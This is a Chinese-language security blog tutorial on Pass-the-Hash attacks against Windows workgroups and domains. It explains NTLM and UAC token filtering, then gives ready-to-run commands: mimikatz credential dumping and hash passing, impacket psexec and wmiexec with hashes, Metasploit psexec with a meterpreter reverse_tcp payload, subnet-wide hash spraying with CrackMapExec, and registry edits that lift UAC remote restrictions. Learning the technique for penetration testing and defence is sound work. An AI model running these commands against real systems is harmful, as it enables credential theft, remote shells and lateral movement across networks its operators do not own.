本公众号提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;
本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。
一、PTH简介
- PTH(Pass-the-Hash,哈希传递)是一种利用Windows身份验证机制漏洞的攻击技术。
- 攻击者无需知道用户密码的明文,只需获取其NTLM哈希值,即可冒充该用户身份访问系统资源,实现横向移动或权限提升。
二、PTH的原理
- PTH攻击的根源在于NTLM协议将NTLM Hash视为身份凭证的设计缺陷,通过复用哈希绕过密码验证,可以直接模拟用户身份。
- NTLM认证的核心是验证客户端能否生成与服务端预期一致的Response,而Response的计算仅依赖NTLM Hash(用户密码的哈希值)和Challenge(服务端生成的随机数)
- NTLM协议仅验证哈希计算结果,而非密码明文或哈希的生成过程(不追溯NTLM Hash来源,只要Response与服务端预期值匹配,无论Hash是否由合法密码派生,均认证通过。),攻击者只需获取NTLM Hash,即可直接生成合法的Response,无需知道明文密码。
- Challenge是服务端动态生成的随机数,攻击者无需构造或预测,只需被动接收即可(攻击者在发起认证请求时,服务端会主动返回Challenge)。
三、工作组环境和域环境下PTH的区别
工作组
- 抓到了A机器的Hash,而B机器的密码与A一样,则可以通过A的Hash进行传递,获取B的权限
- 示例:
- A机器本地管理员密码为
P@ssw0rd
,NTLM Hash为31D6CFE0...
- B机器本地管理员密码同为
P@ssw0rd
,其NTLM Hash也为31D6CFE0...
- 使用A的Hash可对B发起PTH攻击,获取B的权限
域环境
- 在域环境中,域用户和对应的密码在域内是相通的,只需要获取域管的Hash就可以横向到域内的任何一台机器
四、本地帐号和域账号PTH的区别
- 使用本地普通用户和本地管理员组用户进行PTH会失败
- 使用本地管理员组用户administrator和本地管理员组中的域用户进行PTH会成功
本地账号
- 本地账号受UAC远程连接的影响,在使用PTH的过程中,不同操作系统的版本存在差异
- Windows Vista之前的机器,可以使用本地管理员组内所有用户进行PTH
- Windows Vista及其之后的机器,只能使用administrator用户的Hash进行PTH,其他非administrator的本地管理员组内的用户Hash不能用来进行PTH
域账号
- 域账号不受UAC远程连接的影响
- 普通域机器可以使用本地管理员组内的普通域用户进行PTH(域用户被加入本地管理员组)
- 域控可以使用域管理员组内所有用户进行PTH
拓展
UAC
- Windows Vista引入的用户账户控制(User Account Control,UAC)采用最小特权原则重构权限管理体系,通过创建标准用户和受保护的管理员账户两类主体,实现权限的动态隔离。
- UAC允许标准用户作为非管理员身份执行常见的日常任务,本地管理员组成员的帐户将使用最小特权原则运行大多数应用程序。
- 最小特权的用户具有类似于标准用户帐户的权限,但是当本地管理员组的成员必须执行需要管理员权限的任务时,Windows Vista会自动提示用户获得批准。
- 本地管理员组成员在执行常规操作时,系统自动应用受限令牌(Filtered Token),仅保留标准用户权限集,有效降低特权滥用风险。当涉及需要管理员权限的操作时,系统通过安全桌面实施实时权限提升审批机制。
- 当管理员账户administrator进行远程连接时会直接得到具有管理员凭证的令牌,非administrator的本地管理员账户进行远程连接时,会得到一个删除了管理员凭证的令牌。通过本地管理员组中的域用户进行远程连接时,UAC不会生效,会直接得到一个具有管理员凭证的令牌。
让内置的Administrator账户无法进行Hash传递
FilterAdministratorToken
注册表项
- 路径:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
- 官方描述:
User Account Control: Admin Approval Mode for the built-in Administrator account
(用户账户控制:内置 Administrator 账户的管理员批准模式) - 默认状态:Disabled(禁用,对应注册表值为
0
)。 - 具体含义:
- 当该值为
0
时,内置的Administrator账户在执行特权操作时,不会触发UAC提权提示,直接获取完整管理员令牌。 - 当该值为
1
时,即使是内置的Administrator账户也要遵循管理员批准模式,执行特权操作时触发UAC提权提示(需用户确认),生成的访问令牌为 受限令牌(Filtered Token),与普通管理员账户行为一致
让非Administrator的本地管理员账户进行远程连接时得到具有管理员凭证的令牌
- UAC远程连接限制通过
LocalAccountTokenFilterPolicy
这个注册表项来控制
- 路径:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystemLocalAccountTokenFilterPolicy
- Windows Vista及其以后的系统默认没有该注册表值,可以通过以下命令查询该注册表值
reg query HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy
- 如果想禁用UAC远程连接限制,可以在远程主机系统上执行如下命令创建
LocalAccountTokenFilterPolicy
注册表值,然后将其值赋为1
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
- 执行成功后,只要是本地管理员组用户,都可以在远程连接时获得具有管理员权限的令牌
- 拓展:删除该注册表值
reg delete HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /f
五、通过mimikatz进行PTH
- 抓取密码Hash
//要用管理员权限运行mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit"
- 获取了域管组内用户的NTLM哈希值后就可以用mimikatz对域内任何⼀台机器(包括域控)进行PTH
- 前提:必须拥有域内任意一台主机的本地管理员权限和获取域管理员的密码NTLM哈希值
//执行完命令后,目标主机会弹出一个cmd窗口,在新弹出的cmd窗口中可以访问域内任何⼀台机器。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:lazy.com /ntlm:4cc0603100e427861517555e3f4ab751"
- 在CS上可利用进程注入,直接在cs上进行远程操作。
- 注入成功会生成一个新的会话,可以在新的会话中访问域内任何⼀台机器
六、通过impacket进行PTH
- 可以使用impacket里的psexec、smbexec、wmiexec、atexec等脚本进行PTH
- 下载地址:https://github.com/maaaaz/impacket-examples-windows
- 使用这种方式进行PTH并不需要通过高权限来执行,普通域用户可以执行,执行成功后会生成一个新的会话,通过新的命令行会话就可以访问域内任何⼀台机器。
psexec
psexec.exe -hashes :4cc0603100e427861517555e3f4ab751 Lazy/administrator@10.10.1.228
wmiexec
wmiexec.exe -hashes :4cc0603100e427861517555e3f4ab751 Lazy/administrator@10.10.1.228
七、通过MSF进行PTH
- 使用MSF的
exploit/windows/smb/psexec
模块可以进行PTH - MSF接收到会话以后可以使用以下命令抓取Hash
- hash值是500后面的值,第一个是LM Hash,第二个是NTML Hash,LM的值对错与否是不重要,只需要NTML的值正确即可
hashdump
run post/windows/gather/hashdump
- PTH
//以目标为域控举例
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set rhosts 10.10.1.228
set smbdomain lazy
set smbuser administrator
set smbpass aad3b435b51404eeaad3b435b51404ee:4cc0603100e427861517555e3f4ab751
run
八、拓展:Hash碰撞
- 在企业内网中,有可能存在不同的机器使用相同的密码,所以攻击者获得了内网某台机器的密码Hash但是无法解密成明文时,就可以利用哈希碰撞来碰撞出使用相同密码的机器。
CrackMapExec
- 下载地址:https://github.com/byt3bl33d3r/CrackMapExec/
- 运行完成后,如果存在主机使用相同的密码,结果会提示
[+]
crackmapexec.exe 10.10.1.0/24 -u administrator -H ccef208c6485269c20db2cad21734fe7
MSF
- 通过MSF中的
exploit/windows/smb/psexec
可以进行Hash碰撞
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set smbdomain lazy
set rhosts 10.10.1.0/24
set smbuser administrator
set smbpass smbpass aad3b435b51404eeaad3b435b51404ee:4cc0603100e427861517555e3f4ab751
- 如果
10.10.1.0
这个网段中存在主机使用相同的密码,结果会提示[+]
,并且会获得使用该密码主机的权限 - 可以通过
sessions -l
命令查看已经获得权限机器的session
原文始发于微信公众号(SecurePulse):域渗透-PTH
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论